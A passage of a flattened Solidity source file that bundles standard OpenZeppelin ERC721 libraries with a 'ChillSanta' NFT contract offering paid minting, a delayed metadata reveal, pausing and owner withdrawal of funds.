* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract ChillSanta is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.0212 ether;
uint256 public maxSupply = 5000;
uint256 public maxMintAmount = 20;
bool public paused = true;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner() {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
